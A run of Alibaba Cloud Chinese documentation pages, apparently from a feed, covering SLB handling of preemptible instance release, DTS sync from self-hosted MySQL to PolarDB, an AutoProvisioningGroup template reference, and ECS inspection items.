        抢占型实例在释放之前五分钟左右,会发出释放告警事件,您可以利用这短暂的时间运行一些业务不中断的逻辑。例如,主动从SLB的后端服务器中去掉这台即将被释放的抢占型实例,而不是被动等待实例释放后SLB的自动处理。

        您复用实践一的MNS Client,添加一个新的Listener,当收到抢占型实例的释放告警时,调用SLB的SDK。

        # -*- coding: utf-8 -*-
        from aliyunsdkcore.client import AcsClient
        from aliyunsdkcore.request import CommonRequest
        from .mns_client import BasicListener
        from .config import Conf
        
        
        class SLBClient(object):
            def __init__(self):
                self.client = AcsClient(Conf.access_key, Conf.access_key_secret, Conf.region_id)
                self.request = CommonRequest()
                self.request.set_method('POST')
                self.request.set_accept_format('json')
                self.request.set_version('2014-05-15')
                self.request.set_domain('slb.aliyuncs.com')
                self.request.add_query_param('RegionId', Conf.region_id)
        
            def remove_vserver_group_backend_servers(self, vserver_group_id, instance_id):
                self.request.set_action_name('RemoveVServerGroupBackendServers')
                self.request.add_query_param('VServerGroupId', vserver_group_id)
                self.request.add_query_param('BackendServers',
                                             "[{'ServerId':'" + instance_id + "','Port':'80','Weight':'100'}]")
                response = self.client.do_action_with_exception(self.request)
                return str(response, encoding='utf-8')
        
        
        class ListenerSLB(BasicListener):
            def __init__(self, vsever_group_id):
                self.slb_caller = SLBClient()
                self.vsever_group_id = Conf.vsever_group_id
        
            def process(self, event):
                detail = event['content']
                instance_id = detail['instanceId']
                if detail['action'] == 'delete':
                    self.slb_caller.remove_vserver_group_backend_servers(self.vsever_group_id, instance_id)
        					

        注意

        抢占型实例释放告警的event name与前面不同,应该是mns_client.regist_listener(ListenerSLB(Conf.vsever_group_id), 'Instance:PreemptibleInstanceInterruption')

        在实际生产环境下,您需要再申请一台新的抢占型实例,挂载到SLB上,来保证服务能力。

      ]]> 从ECS上的自建MySQL同步至PolarDB MySQL_PolarDB数据同步_数据同步_数据传输服务 DTS-阿里云 Fri, 02 May 2025 09:39:04 +0800 从ECS上的自建MySQL同步至PolarDB MySQL

      更新时间:2020-05-11 21:07:58

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      PolarDB是阿里巴巴自主研发的下一代关系型分布式云原生数据库,可完全兼容MySQL,具备简单易用、高性能、高可靠、高可用等优势。通过数据传输服务DTS(Data Transmission Service),您可以将自建的MySQL数据库同步至PolarDB MySQL,本文以ECS上的自建MySQL为例介绍配置流程。

      前提条件

      已创建PolarDB MySQL集群,详情请参见创建PolarDB MySQL集群

      注意事项

      • DTS在执行全量数据初始化时将占用源库和目标库一定的读写资源,可能会导致数据库的负载上升,在数据库性能较差、规格较低或业务量较大的情况下(例如源库有大量慢SQL、存在无主键表或目标库存在死锁等),可能会加重数据库压力,甚至导致数据库服务不可用。因此您需要在执行数据同步前评估源库和目标库的性能,同时建议您在业务低峰期执行数据同步(例如源库和目标库的CPU负载在30%以下)。
      • 如果同步对象为单个或多个表(非整库),那么在数据同步时,请勿对源库的同步对象使用gh-ost或pt-online-schema-change等类似工具执行在线DDL变更,否则会导致同步失败。

        注意 为避免同步失败,数据同步期间您可以使用数据管理DMS(Data Management Service)来执行在线DDL变更,详情请参见不锁表结构变更

      • 全量初始化过程中,并发INSERT会导致目标集群的表碎片,全量初始化完成后,目标集群的表空间比源库的表空间大。
      • 如果数据同步的源库没有主键或唯一约束,且记录的全字段没有唯一性,可能会出现重复数据。

      支持同步的SQL操作

      操作类型 SQL操作语句
      DML INSERT、UPDATE、DELETE、REPLACE
      DDL
      • ALTER TABLE、ALTER VIEW
      • CREATE FUNCTION、CREATE INDEX、CREATE PROCEDURE、CREATE TABLE、CREATE VIEW
      • DROP INDEX、DROP TABLE
      • RENAME TABLE
      • TRUNCATE TABLE

      功能限制

      • 不兼容触发器

        当同步对象为整个库,且库中的触发器(TRIGGER)会更新库内某个表时,可能导致源和目标库的数据不一致。相关解决方案请参见源库存在触发器时如何配置同步作业

      • RENAME TABLE限制

        RENAME TABLE操作可能导致同步数据不一致。例如同步对象只包含某个表,如果同步过程中源实例对该表执行了重命名操作,那么该表的数据将不会同步到目标库。为避免该问题,您可以在数据同步配置时将该表所属的整个数据库作为同步对象。

      准备工作

      为自建MySQL创建账号并设置binlog

      说明 用于数据同步的数据库账号需具备待同步对象的REPLICATION CLIENT、REPLICATION SLAVE、SHOW VIEW和所有同步对象的SELECT权限。

      支持的同步架构

      • 一对一单向同步
      • 一对多单向同步
      • 级联单向同步
      • 多对一单向同步

      关于各类同步架构的介绍及注意事项,请参见数据同步拓扑介绍

      操作步骤

      1. 购买数据同步作业,详情请参见购买流程

        说明 购买时,选择源实例为MySQL、目标实例为POLARDB,并选择同步拓扑为单向同步

      2. 登录数据传输控制台
      3. 在左侧导航栏,单击数据同步
      4. 同步作业列表页面顶部,选择同步的目标实例所属地域。

        选择地域

      5. 定位至已购买的数据同步实例,单击配置同步链路
      6. 配置同步通道的源实例及目标实例信息。

        配置源和目标实例信息
        类别 配置 说明
        同步作业名称 DTS会自动生成一个同步作业名称,建议配置具有业务意义的名称(无唯一性要求),便于后续识别。
        源实例信息 实例类型 选择ECS上的自建数据库
        实例地区 购买数据同步实例时选择的源实例地域信息,不可变更。
        ECS实例ID 选择自建MySQL数据库所属的ECS实例ID。
        数据库类型 固定为MySQL,不可变更。
        端口 填入自建MySQL的数据库服务端口。
        数据库账号 填入连接自建MySQL的数据库账号。

        说明 用于数据同步的数据库账号需具备REPLICATION CLIENT、REPLICATION SLAVE、SHOW VIEW和所有同步对象的SELECT权限。

        数据库密码 填入数据库账号的密码。
        目标实例信息 实例类型 固定为PolarDB,不可变更。
        实例地区 购买数据同步实例时选择的目标实例地域信息,不可变更。
        PolarDB实例ID 选择目标PolarDB集群ID。
        数据库账号 填入连接PolarDB集群的数据库账号。

        说明 用于数据同步的数据库账号需具备目标同步对象的ALL权限。

        数据库密码 填入数据库账号的密码。

      7. 单击页面右下角的授权白名单并进入下一步

        说明 此步骤会将DTS服务器的IP地址自动添加到ECS实例的内网入方向安全组规则和目标PolarDB集群的白名单中,用于保障DTS服务器能够正常连接源实例和目标集群。

      8. 配置目标已存在表的处理模式和同步对象。

        配置处理模式和同步对象
        配置项目 配置说明
        目标已存在表的处理模式
        • 预检查并报错拦截:检查目标数据库中是否有同名的表。如果目标数据库中没有同名的表,则通过该检查项目;如果目标数据库中有同名的表,则在预检查阶段提示错误,数据同步作业不会被启动。

          说明 如果目标库中同名的表不方便删除或重命名,您可以设置同步对象在目标实例中的名称来避免表名冲突。

        • 忽略报错并继续执行:跳过目标数据库中是否有同名表的检查项。

          警告 选择为忽略报错并继续执行,可能导致数据不一致,给业务带来风险,例如:

          • 表结构一致的情况下,如果在目标库遇到与源库主键的值相同的记录,在初始化阶段会保留目标库中的该条记录;在增量同步阶段则会覆盖目标库的该条记录。
          • 表结构不一致的情况下,可能会导致无法初始化数据、只能同步部分列的数据或同步失败。

        选择同步对象

        源库对象框中单击待同步的对象,然后单击向右小箭头图标将其移动至已选择对象框。

        同步对象的选择粒度为库、表。

        说明

        • 如果选择整个库作为同步对象,那么该库中所有对象的结构变更操作都会同步至目标库。
        • 默认情况下,同步对象的名称保持不变。如果您需要改变同步对象在目标集群中的名称,请使用对象名映射功能,详情请参见设置同步对象在目标实例中的名称

      9. 上述配置完成后,单击页面右下角的下一步
      10. 配置同步初始化的高级配置信息。

        数据同步高级设置

        说明 同步初始化类型细分为:结构初始化,全量数据初始化。选中结构初始化全量数据初始化后,DTS会在增量数据同步之前,将源数据库中待同步对象的结构和存量数据,同步到目标数据库。

      11. 上述配置完成后,单击页面右下角的预检查并启动

        说明

        • 在数据同步作业正式启动之前,会先进行预检查。只有预检查通过后,才能成功启动数据同步作业。
        • 如果预检查失败,单击具体检查项后的提示图标,查看失败详情。根据提示修复后,重新进行预检查。

      12. 预检查对话框中显示预检查通过后,关闭预检查对话框,同步作业将正式开始。
      13. 等待同步作业的链路初始化完成,直至处于同步中状态。

        您可以在 数据同步页面,查看数据同步作业的状态。查看同步作业状态

      ]]> ALIYUN::ECS::AutoProvisioningGroup_ECS_资源类型_资源编排-阿里云 Fri, 02 May 2025 09:39:04 +0800 ALIYUN::ECS::AutoProvisioningGroup

      更新时间:2020-04-17 17:52:10

      本页目录

      ALIYUN::ECS::AutoProvisioningGroup类型用于创建弹性供应组。

      语法

      {
        "Type": "ALIYUN::ECS::AutoProvisioningGroup",
        "Properties": {
          "SpotInstancePoolsToUseCount": Integer,
          "AutoProvisioningGroupName": String,
          "ValidUntil": String,
          "Description": String,
          "PayAsYouGoAllocationStrategy": String,
          "MaxSpotPrice": Number,
          "LaunchTemplateId": String,
          "DefaultTargetCapacityType": String,
          "SpotInstanceInterruptionBehavior": String,
          "SpotTargetCapacity": String,
          "SpotAllocationStrategy": String,
          "PayAsYouGoTargetCapacity": String,
          "TotalTargetCapacity": String,
          "AutoProvisioningGroupType": String,
          "LaunchTemplateVersion": String,
          "ValidFrom": String,
          "ExcessCapacityTerminationPolicy": String,
          "TerminateInstances": Boolean,
          "TerminateInstancesWithExpiration": Boolean,
          "LaunchTemplateConfig": List
        }
      }

      属性

      属性名称 类型 必须 允许更新 描述 约束
      SpotInstancePoolsToUseCount Integer 表示弹性供应组选择价格最低的实例规格创建实例的数量,在SpotAllocationStrategy为lowest-price时生效。 取值:小于扩展启动模板(由LaunchTemplateConfig设置)的数量
      AutoProvisioningGroupName String 弹性供应组的名称 长度为2~128个字符,必须以大写字母、小字母或中文开头,不能以http://https://开头。可包含数字、半角冒号(:)、下划线(_)或短横线(-)。
      ValidUntil String 弹性供应组的到期时间,和ValidFrom共同确定有效时段。 按照ISO8601标准表示,并使用UTC+0时间,格式为yyyy-MM-ddTHH:mm:ssZ
      Description String 弹性供应组的描述信息
      PayAsYouGoAllocationStrategy String 创建按量付费实例的策略 取值:
      • lowest-price(默认值):成本优化策略。选择价格最低的实例规格。
      • prioritized:优先级策略。按照LaunchTemplateConfig设定的优先级创建实例。
      MaxSpotPrice Number 弹性供应组内抢占式实例的最高价格 同时设置MaxSpotPrice和扩展启动模板MaxPrice时,以最低值为准。
      LaunchTemplateId String 弹性供应组关联的实例启动模板的ID。您可以调用DescribeLaunchTemplates查询可用的实例启动模板。
      DefaultTargetCapacityType String PayAsYouGoTargetCapacity和SpotTargetCapacity之和小于TotalTargetCapacity时,指定差额容量的计费方式。 取值:
      • PayAsYouGo:按量付费实例
      • Spot(默认值):抢占式实例
      SpotInstanceInterruptionBehavior String 停止了超额抢占式实例后的下一步动作 取值:
      • stop(默认值):保持停止状态
      • terminate:释放
      SpotTargetCapacity String 弹性供应组内,抢占式实例的目标容量 取值:小于TotalTargetCapacity的参数取值
      SpotAllocationStrategy String 创建抢占式实例的策略 取值:
      • lowest-price(默认值):成本优化策略。选择价格最低的实例规格。
      • diversified:均衡可用区分布策略。在扩展启动模板指定的可用区内创建实例,均匀分布到各可用区。
      PayAsYouGoTargetCapacity String 弹性供应组内,按量付费实例的目标容量 取值:小于TotalTargetCapacity的参数取值
      TotalTargetCapacity String 弹性供应组的目标总容量 取值(正整数):总容量必须大于等于PayAsYouGoTargetCapacity(指定的按量付费实例目标容量)和SpotTargetCapacity(指定的抢占式实例目标容量)取值之和。
      AutoProvisioningGroupType String 弹性供应组的交付类型 取值:
      • request:一次性。供应组仅在启动时交付实例集群,调度失败后不再重试。
      • maintain(默认值):持续供应。供应组在启动时尝试交付实例集群,并监控实时容量,未达到目标容量则尝试继续创建ECS实例。
      LaunchTemplateVersion String 弹性供应组关联实例启动模板的版本,您可以调用DescribeLaunchTemplateVersions查询可用的实例启动模板版本。
      ValidFrom String 弹性供应组的启动时间,和ValidUntil共同确定有效时段。 按照ISO8601标准表示,并使用UTC+0时间,格式为yyyy-MM-ddTHH:mm:ssZ
      ExcessCapacityTerminationPolicy String 弹性供应组超过目标总容量时,是否停止超额的抢占式实例。 取值:
      • no-termination(默认值):继续运行。
      • termination:停止。停止后的下一步动作由SpotInstanceInterruptionBehavior指定。
      TerminateInstances Boolean 删除弹性供应组时,是否释放组内实例。 取值:
      • true
      • false(默认值)
      TerminateInstancesWithExpiration Boolean 弹性供应组到期时,是否停止抢占式实例。 取值:
      • true:停止。停止后的下一步动作由SpotInstanceInterruptionBehavior指定。
      • false(默认值):继续运行。
      LaunchTemplateConfig List 扩展启动模板 取值:最多20个

      LaunchTemplateConfig 语法

      "LaunchTemplateConfig": [
        {
          "Priority": Integer,
          "WeightedCapacity": Integer,
          "VSwitchId": String,
          "InstanceType": String,
          "MaxPrice": Integer
        }
      ]

      LaunchTemplateConfig 属性

      属性名称 类型 必须 允许更新 描述 约束
      Priority Integer 扩展启动模板的优先级,取值为0时优先级最高。 取值:大于等于0
      WeightedCapacity Integer 扩展启动模板中,实例规格的权重。取值越高,单台实例满足计算力需求的能力越大,所需的实例数量越小。 取值:大于0。您可以根据指定实例规格的计算力和集群单节点最低计算力得出权重值。例如,单节点最低计算力为8 vCPU、60GiB,则8 vCPU、60GiB的实例规格权重可以设置为1;16 vCPU、120GiB的实例规格权重可以设置为2。
      VSwitchId String 扩展启动模板中,ECS实例加入的虚拟交换机的ID。扩展模板中启动的ECS实例可用区由虚拟交换机决定。
      InstanceType String 扩展启动模板对应的实例规格
      MaxPrice Integer 扩展启动模板中,抢占式实例的价格上限

      返回值

      Fn::GetAtt

      AutoProvisioningGroupId:弹性供应组的ID。

      示例

      JSON格式

      {
        "ROSTemplateFormatVersion": "2015-09-01",
        "Resources": {
          "AutoProvisioningGroup": {
            "Type": "ALIYUN::ECS::AutoProvisioningGroup",
            "Properties": {
              "SpotInstancePoolsToUseCount": {
                "Ref": "SpotInstancePoolsToUseCount"
              },
              "AutoProvisioningGroupName": {
                "Ref": "AutoProvisioningGroupName"
              },
              "ValidUntil": {
                "Ref": "ValidUntil"
              },
              "Description": {
                "Ref": "Description"
              },
              "PayAsYouGoAllocationStrategy": {
                "Ref": "PayAsYouGoAllocationStrategy"
              },
              "MaxSpotPrice": {
                "Ref": "MaxSpotPrice"
              },
              "LaunchTemplateId": {
                "Ref": "LaunchTemplateId"
              },
              "DefaultTargetCapacityType": {
                "Ref": "DefaultTargetCapacityType"
              },
              "SpotInstanceInterruptionBehavior": {
                "Ref": "SpotInstanceInterruptionBehavior"
              },
              "SpotTargetCapacity": {
                "Ref": "SpotTargetCapacity"
              },
              "SpotAllocationStrategy": {
                "Ref": "SpotAllocationStrategy"
              },
              "PayAsYouGoTargetCapacity": {
                "Ref": "PayAsYouGoTargetCapacity"
              },
              "TotalTargetCapacity": {
                "Ref": "TotalTargetCapacity"
              },
              "AutoProvisioningGroupType": {
                "Ref": "AutoProvisioningGroupType"
              },
              "LaunchTemplateVersion": {
                "Ref": "LaunchTemplateVersion"
              },
              "ValidFrom": {
                "Ref": "ValidFrom"
              },
              "ExcessCapacityTerminationPolicy": {
                "Ref": "ExcessCapacityTerminationPolicy"
              },
              "TerminateInstances": {
                "Ref": "TerminateInstances"
              },
              "TerminateInstancesWithExpiration": {
                "Ref": "TerminateInstancesWithExpiration"
              },
              "LaunchTemplateConfig": {
                "Ref": "LaunchTemplateConfig"
              }
            }
          }
        },
        "Parameters": {
          "SpotInstancePoolsToUseCount": {
            "Type": "Number",
            "Description": "This parameter takes effect when the SpotAllocationStrategy parameter is set to lowest-price. The auto provisioning group selects instance types of the lowest cost to createninstances."
          },
          "AutoProvisioningGroupName": {
            "Type": "String",
            "Description": "The name of the auto provisioning group to be created. It must be 2 to 128 charactersnin length. It must start with a letter but cannot start with http:// or https://.nIt can contain letters, digits, colons (:), underscores (_), and hyphens (-)."
          },
          "ValidUntil": {
            "Type": "String",
            "Description": "The time when the auto provisioning group expires. The period of time between thisnpoint in time and the point in time specified by the ValidFrom parameter is the effective time period of the auto provisioning group.nBy default, an auto provisioning group never expires."
          },
          "Description": {
            "Type": "String",
            "Description": "The description of the auto provisioning group."
          },
          "PayAsYouGoAllocationStrategy": {
            "Type": "String",
            "Description": "The scale-out policy for pay-as-you-go instances. Valid values:nlowest-price: The cost optimization policy the auto provisioning group follows to select instancentypes of the lowest cost to create instances.nprioritized: The priority-based policy the auto provisioning group follows to create instances.nThe priority of an instance type is specified by the LaunchTemplateConfig.N.Priority parameter.nDefault value: lowest-price",
            "AllowedValues": [
              "lowest-price",
              "prioritized"
            ]
          },
          "MaxSpotPrice": {
            "Type": "Number",
            "Description": "The global maximum price for preemptible instances in the auto provisioning group.nIf both the MaxSpotPrice and LaunchTemplateConfig.N.MaxPrice parameters are specified, the maximum price is the lower value of the two."
          },
          "LaunchTemplateId": {
            "Type": "String",
            "Description": "The ID of the instance launch template associated with the auto provisioning group.nYou can call the DescribeLaunchTemplates operation to query available instance launch templates.nAn auto provisioning group can be associated with only one instance launch template.nBut you can configure multiple extended configurations for the launch template throughnthe LaunchTemplateConfig parameter."
          },
          "DefaultTargetCapacityType": {
            "Type": "String",
            "Description": "The type of supplemental instances. When the total value of PayAsYouGoTargetCapacity and SpotTargetCapacity is smaller than the value of TotalTargetCapacity, the auto provisioning group will create instances of the specified type to meetnthe capacity requirements. Valid values:nPayAsYouGo: Pay-as-you-go instances.nSpot: Preemptible instances.nDefault value: Spot",
            "AllowedValues": [
              "PayAsYouGo",
              "Spot"
            ]
          },
          "SpotInstanceInterruptionBehavior": {
            "Type": "String",
            "Description": "The default behavior after preemptible instances are shut down. Value values:nstop: stops preemptible instances.nterminate: releases preemptible instances.nDefault value: stop",
            "AllowedValues": [
              "stop",
              "terminate"
            ]
          },
          "SpotTargetCapacity": {
            "Type": "String",
            "Description": "The target capacity of preemptible instances in the auto provisioning group."
          },
          "SpotAllocationStrategy": {
            "Type": "String",
            "Description": "The scale-out policy for preemptible instances. Valid values:nlowest-price: The cost optimization policy the auto provisioning group follows to select instancentypes of the lowest cost to create instances.ndiversified: The distribution balancing policy the auto provisioning group follows to evenly createninstances across zones specified in multiple extended template configurations.nDefault value: lowest-price",
            "AllowedValues": [
              "diversified",
              "lowest-price"
            ]
          },
          "PayAsYouGoTargetCapacity": {
            "Type": "String",
            "Description": "The target capacity of pay-as-you-go instances in the auto provisioning group."
          },
          "TotalTargetCapacity": {
            "Type": "String",
            "Description": "The total target capacity of the auto provisioning group. The target capacity consistsnof the following three parts:nThe target capacity of pay-as-you-go instances specified by the PayAsYouGoTargetCapacity parameternThe target capacity of preemptible instances specified by the SpotTargetCapacity parameternThe supplemental capacity besides PayAsYouGoTargetCapacity and SpotTargetCapacity"
          },
          "AutoProvisioningGroupType": {
            "Type": "String",
            "Description": "The type of the auto provisioning group. Valid values:nrequest: One-time delivery. After the auto provisioning group is started, it only attemptsnto create an instance cluster once. If the cluster fails to be created, the groupndoes not try again.nmaintain: The continuous delivery and maintain capacity type. After the auto provisioning groupnis started, it continuously attempts to create and maintain the instance cluster.nThe auto provisioning group compares the real-time and target capacity of the cluster.nIf the cluster does not meet the target capacity, the group will create instancesnuntil the cluster meets the target capacity.nDefault value: maintain",
            "AllowedValues": [
              "maintain",
              "request"
            ]
          },
          "LaunchTemplateVersion": {
            "Type": "String",
            "Description": "The version of the instance launch template associated with the auto provisioningngroup. You can call the DescribeLaunchTemplateVersions operation to query the versions of available instance launch templates."
          },
          "ValidFrom": {
            "Type": "String",
            "Description": "The time when the auto provisioning group is started. The period of time between thisnpoint in time and the point in time specified by the ValidUntil parameter is the effective time period of the auto provisioning group.nBy default, an auto provisioning group is immediately started after creation."
          },
          "ExcessCapacityTerminationPolicy": {
            "Type": "String",
            "Description": "The shutdown policy for excess preemptible instances followed when the capacity ofnthe auto provisioning group exceeds the target capacity. Valid values:nno-termination: Excess preemptible instances are not shut down.ntermination: Excess preemptible instances are to be shut down. The action to be performed on thesenshutdown instances is specified by the SpotInstanceInterruptionBehavior parameter.nDefault value: no-termination",
            "AllowedValues": [
              "no-termination",
              "termination"
            ]
          },
          "TerminateInstances": {
            "Type": "Boolean",
            "Description": "Specifies whether to release instances of the auto provisioning group. Valid values:ntruenfalsenDefault: false",
            "AllowedValues": [
              "True",
              "true",
              "False",
              "false"
            ]
          },
          "TerminateInstancesWithExpiration": {
            "Type": "Boolean",
            "Description": "The shutdown policy for preemptible instances when the auto provisioning group expires.nValid values:ntrue: shuts down preemptible instances. The action to be performed on these shutdown instancesnis specified by the SpotInstanceInterruptionBehavior parameter.nfalse: does not shut down preemptible instances.nDefault: false",
            "AllowedValues": [
              "True",
              "true",
              "False",
              "false"
            ]
          },
          "LaunchTemplateConfig": {
            "Type": "Json",
            "Description": ""
          }
        },
        "Outputs": {
          "AutoProvisioningGroupId": {
            "Description": "The ID of the auto provisioning group.",
            "Value": {
              "Fn::GetAtt": [
                "AutoProvisioningGroup",
                "AutoProvisioningGroupId"
              ]
            }
          }
        }
      }

      YAML格式

      ROSTemplateFormatVersion: '2015-09-01'
      Resources:
        AutoProvisioningGroup:
          Type: 'ALIYUN::ECS::AutoProvisioningGroup'
          Properties:
            SpotInstancePoolsToUseCount:
              Ref: SpotInstancePoolsToUseCount
            AutoProvisioningGroupName:
              Ref: AutoProvisioningGroupName
            ValidUntil:
              Ref: ValidUntil
            Description:
              Ref: Description
            PayAsYouGoAllocationStrategy:
              Ref: PayAsYouGoAllocationStrategy
            MaxSpotPrice:
              Ref: MaxSpotPrice
            LaunchTemplateId:
              Ref: LaunchTemplateId
            DefaultTargetCapacityType:
              Ref: DefaultTargetCapacityType
            SpotInstanceInterruptionBehavior:
              Ref: SpotInstanceInterruptionBehavior
            SpotTargetCapacity:
              Ref: SpotTargetCapacity
            SpotAllocationStrategy:
              Ref: SpotAllocationStrategy
            PayAsYouGoTargetCapacity:
              Ref: PayAsYouGoTargetCapacity
            TotalTargetCapacity:
              Ref: TotalTargetCapacity
            AutoProvisioningGroupType:
              Ref: AutoProvisioningGroupType
            LaunchTemplateVersion:
              Ref: LaunchTemplateVersion
            ValidFrom:
              Ref: ValidFrom
            ExcessCapacityTerminationPolicy:
              Ref: ExcessCapacityTerminationPolicy
            TerminateInstances:
              Ref: TerminateInstances
            TerminateInstancesWithExpiration:
              Ref: TerminateInstancesWithExpiration
            LaunchTemplateConfig:
              Ref: LaunchTemplateConfig
      Parameters:
        SpotInstancePoolsToUseCount:
          Type: Number
          Description: >-
            This parameter takes effect when the SpotAllocationStrategy parameter is
            set to lowest-price. The auto provisioning group selects instance types of
            the lowest cost to create
      
            instances.
        AutoProvisioningGroupName:
          Type: String
          Description: >-
            The name of the auto provisioning group to be created. It must be 2 to 128
            characters
      
            in length. It must start with a letter but cannot start with http:// or
            https://.
      
            It can contain letters, digits, colons (:), underscores (_), and hyphens
            (-).
        ValidUntil:
          Type: String
          Description: >-
            The time when the auto provisioning group expires. The period of time
            between this
      
            point in time and the point in time specified by the ValidFrom parameter
            is the effective time period of the auto provisioning group.
      
            By default, an auto provisioning group never expires.
        Description:
          Type: String
          Description: The description of the auto provisioning group.
        PayAsYouGoAllocationStrategy:
          Type: String
          Description: >-
            The scale-out policy for pay-as-you-go instances. Valid values:
      
            lowest-price: The cost optimization policy the auto provisioning group
            follows to select instance
      
            types of the lowest cost to create instances.
      
            prioritized: The priority-based policy the auto provisioning group follows
            to create instances.
      
            The priority of an instance type is specified by the
            LaunchTemplateConfig.N.Priority parameter.
      
            Default value: lowest-price
          AllowedValues:
            - lowest-price
            - prioritized
        MaxSpotPrice:
          Type: Number
          Description: >-
            The global maximum price for preemptible instances in the auto
            provisioning group.
      
            If both the MaxSpotPrice and LaunchTemplateConfig.N.MaxPrice parameters
            are specified, the maximum price is the lower value of the two.
        LaunchTemplateId:
          Type: String
          Description: >-
            The ID of the instance launch template associated with the auto
            provisioning group.
      
            You can call the DescribeLaunchTemplates operation to query available
            instance launch templates.
      
            An auto provisioning group can be associated with only one instance launch
            template.
      
            But you can configure multiple extended configurations for the launch
            template through
      
            the LaunchTemplateConfig parameter.
        DefaultTargetCapacityType:
          Type: String
          Description: >-
            The type of supplemental instances. When the total value of
            PayAsYouGoTargetCapacity and SpotTargetCapacity is smaller than the value
            of TotalTargetCapacity, the auto provisioning group will create instances
            of the specified type to meet
      
            the capacity requirements. Valid values:
      
            PayAsYouGo: Pay-as-you-go instances.
      
            Spot: Preemptible instances.
      
            Default value: Spot
          AllowedValues:
            - PayAsYouGo
            - Spot
        SpotInstanceInterruptionBehavior:
          Type: String
          Description: >-
            The default behavior after preemptible instances are shut down. Value
            values:
      
            stop: stops preemptible instances.
      
            terminate: releases preemptible instances.
      
            Default value: stop
          AllowedValues:
            - stop
            - terminate
        SpotTargetCapacity:
          Type: String
          Description: >-
            The target capacity of preemptible instances in the auto provisioning
            group.
        SpotAllocationStrategy:
          Type: String
          Description: >-
            The scale-out policy for preemptible instances. Valid values:
      
            lowest-price: The cost optimization policy the auto provisioning group
            follows to select instance
      
            types of the lowest cost to create instances.
      
            diversified: The distribution balancing policy the auto provisioning group
            follows to evenly create
      
            instances across zones specified in multiple extended template
            configurations.
      
            Default value: lowest-price
          AllowedValues:
            - diversified
            - lowest-price
        PayAsYouGoTargetCapacity:
          Type: String
          Description: >-
            The target capacity of pay-as-you-go instances in the auto provisioning
            group.
        TotalTargetCapacity:
          Type: String
          Description: >-
            The total target capacity of the auto provisioning group. The target
            capacity consists
      
            of the following three parts:
      
            The target capacity of pay-as-you-go instances specified by the
            PayAsYouGoTargetCapacity parameter
      
            The target capacity of preemptible instances specified by the
            SpotTargetCapacity parameter
      
            The supplemental capacity besides PayAsYouGoTargetCapacity and
            SpotTargetCapacity
        AutoProvisioningGroupType:
          Type: String
          Description: >-
            The type of the auto provisioning group. Valid values:
      
            request: One-time delivery. After the auto provisioning group is started,
            it only attempts
      
            to create an instance cluster once. If the cluster fails to be created,
            the group
      
            does not try again.
      
            maintain: The continuous delivery and maintain capacity type. After the
            auto provisioning group
      
            is started, it continuously attempts to create and maintain the instance
            cluster.
      
            The auto provisioning group compares the real-time and target capacity of
            the cluster.
      
            If the cluster does not meet the target capacity, the group will create
            instances
      
            until the cluster meets the target capacity.
      
            Default value: maintain
          AllowedValues:
            - maintain
            - request
        LaunchTemplateVersion:
          Type: String
          Description: >-
            The version of the instance launch template associated with the auto
            provisioning
      
            group. You can call the DescribeLaunchTemplateVersions operation to query
            the versions of available instance launch templates.
        ValidFrom:
          Type: String
          Description: >-
            The time when the auto provisioning group is started. The period of time
            between this
      
            point in time and the point in time specified by the ValidUntil parameter
            is the effective time period of the auto provisioning group.
      
            By default, an auto provisioning group is immediately started after
            creation.
        ExcessCapacityTerminationPolicy:
          Type: String
          Description: >-
            The shutdown policy for excess preemptible instances followed when the
            capacity of
      
            the auto provisioning group exceeds the target capacity. Valid values:
      
            no-termination: Excess preemptible instances are not shut down.
      
            termination: Excess preemptible instances are to be shut down. The action
            to be performed on these
      
            shutdown instances is specified by the SpotInstanceInterruptionBehavior
            parameter.
      
            Default value: no-termination
          AllowedValues:
            - no-termination
            - termination
        TerminateInstances:
          Type: Boolean
          Description: >-
            Specifies whether to release instances of the auto provisioning group.
            Valid values:
      
            true
      
            false
      
            Default: false
          AllowedValues:
            - 'True'
            - 'true'
            - 'False'
            - 'false'
        TerminateInstancesWithExpiration:
          Type: Boolean
          Description: >-
            The shutdown policy for preemptible instances when the auto provisioning
            group expires.
      
            Valid values:
      
            true: shuts down preemptible instances. The action to be performed on
            these shutdown instances
      
            is specified by the SpotInstanceInterruptionBehavior parameter.
      
            false: does not shut down preemptible instances.
      
            Default: false
          AllowedValues:
            - 'True'
            - 'true'
            - 'False'
            - 'false'
        LaunchTemplateConfig:
          Type: Json
          Description: ''
      Outputs:
        AutoProvisioningGroupId:
          Description: The ID of the auto provisioning group.
          Value:
            'Fn::GetAtt':
              - AutoProvisioningGroup
              - AutoProvisioningGroupId

      ]]> ECS(云服务器)巡检项_巡检方案_智能顾问-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS(云服务器)巡检项

      更新时间:2020-05-07 15:38:14

      本页目录

      ECS巡检项共计28项,已发布16项,验证待发布12项。分布如下:

      分类 已发布 验证待发布 全部
      稳定 6 6 12
      安全 1 3 4
      成本 5 1 6
      性能 4 2 6

      稳定

      • ECS 实例到期巡检
      • ECS 资源高负载巡检
      • ECS 账户欠费巡检
      • ECS 经典网络风险巡检
      • ECS 按量付费且自动释放实例风险巡检
      • ECS 包年包月实例到期巡检
      • 【验证待发布】ECS 已停售规格占比巡检
      • 【验证待发布】ECS 安全组创建限额巡检
      • 【验证待发布】ECS 部署集限额巡检
      • 【验证待发布】ECS 弹性网卡(辅助网卡)创建限额巡检
      • 【验证待发布】ECS 抢占式实例vCPU创建限额巡检
      • 【验证待发布】ECS 按量实例vCPU创建限额巡检

      安全

      • ECS 安全组端口开放风险
      • 【验证待发布】ECS DDOS风险巡检
      • 【验证待发布】ECS 经典网络安全组策略合理性巡检
      • 【验证待发布】ECS VPC网络安全策略合理性巡检

      成本

      • ECS 入门级实例巡检
      • ECS 实例配置分布巡检
      • ECS 实例规格分布巡检
      • ECS 长时间按量付费合理性巡检
      • ECS 可用区打散巡检
      • 【验证待发布】ECS空闲未挂载云盘巡检

      性能

      • ECS CPU 水位巡检
      • ECS CPU 空闲巡检
      • ECS 公网带宽负载水位巡检
      • ECS 公网带宽闲置巡检
      • 【验证待发布】DDH 实例带宽负载高
      • 【验证待发布】DDH 实例CPU负载高

      ]]> 查看ECS实例的操作记录_监控实例状态_运维与监控_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 查看ECS实例的操作记录

      更新时间:2020-04-08 09:33:55

      本页目录

      ECS实例的操作记录存档了实例90天内的操作记录,包括操作类型、操作者、影响等级等信息。如果您在使用ECS实例的过程中遇到故障,可以通过查看ECS实例的操作记录识别可能的故障原因。

      背景信息

